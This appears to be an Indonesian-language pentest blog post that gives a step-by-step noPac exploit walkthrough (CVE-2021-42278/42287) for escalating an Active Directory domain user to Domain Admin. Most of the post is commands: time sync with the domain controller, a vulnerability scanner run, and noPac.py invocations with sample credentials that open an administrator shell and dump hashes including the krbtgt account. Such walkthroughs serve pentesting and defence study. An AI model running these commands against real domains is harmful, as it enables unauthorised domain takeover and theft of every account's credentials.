Post

[CVE-2021-42278 / CVE-2021-42287] noPac Exploit

Pertengahan Desember 2021 terdapat public exploit yang menggabungkan dua kerentanan desain Active Direcotry yang disebut sebagai noPac.

Eksploitasi kerentanan ini memungkinkan Domain User melakukan privilege escalation menjadi Domain Admins.

Tujuan

  • Privilege escalation

Prasyarat

  • Memiliki domain user
  • DC rentan terhadap CVE-2021-42278 / CVE-2021-42287

Tools


Tahapan eksploitasi

Step 1: Sinkronisasi waktu dengan DC

1
2
3
4
5
6
# cara 1
➜ ntpdate <ip-dc>
# cara 2
➜ rdate -n <ip-dc>
# cara 3
sudo date -s "$(curl -H 'Cache-Control:no-cache' -sI <ip-dc> | grep '^Date:' | cut -d' ' -f3-6)Z"

Step 2: Menguji Kerentanan CVE-2021-42278 / CVE-2021-42287

1
➜ python3 scanner.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203

noPac Scanner

Step 3: Exploitasi noPac

  • Auto get shell
1
➜ python3 noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator 

noPac auto get shell

  • Dump hash
1
2
3
➜ python3 noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump

➜ python3 noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump -just-dc-user cgdomain/krbtgt

noPac dump hash


Referensi

  • https://github.com/Ridter/noPac
  • https://www.crowdstrike.com/blog/nopac-exploit-latest-microsoft-ad-flaw-may-lead-to-total-domain-compromise/
  • https://pentestlab.blog/2022/01/10/domain-escalation-samaccountname-spoofing/
This post is licensed under CC BY 4.0 by the author.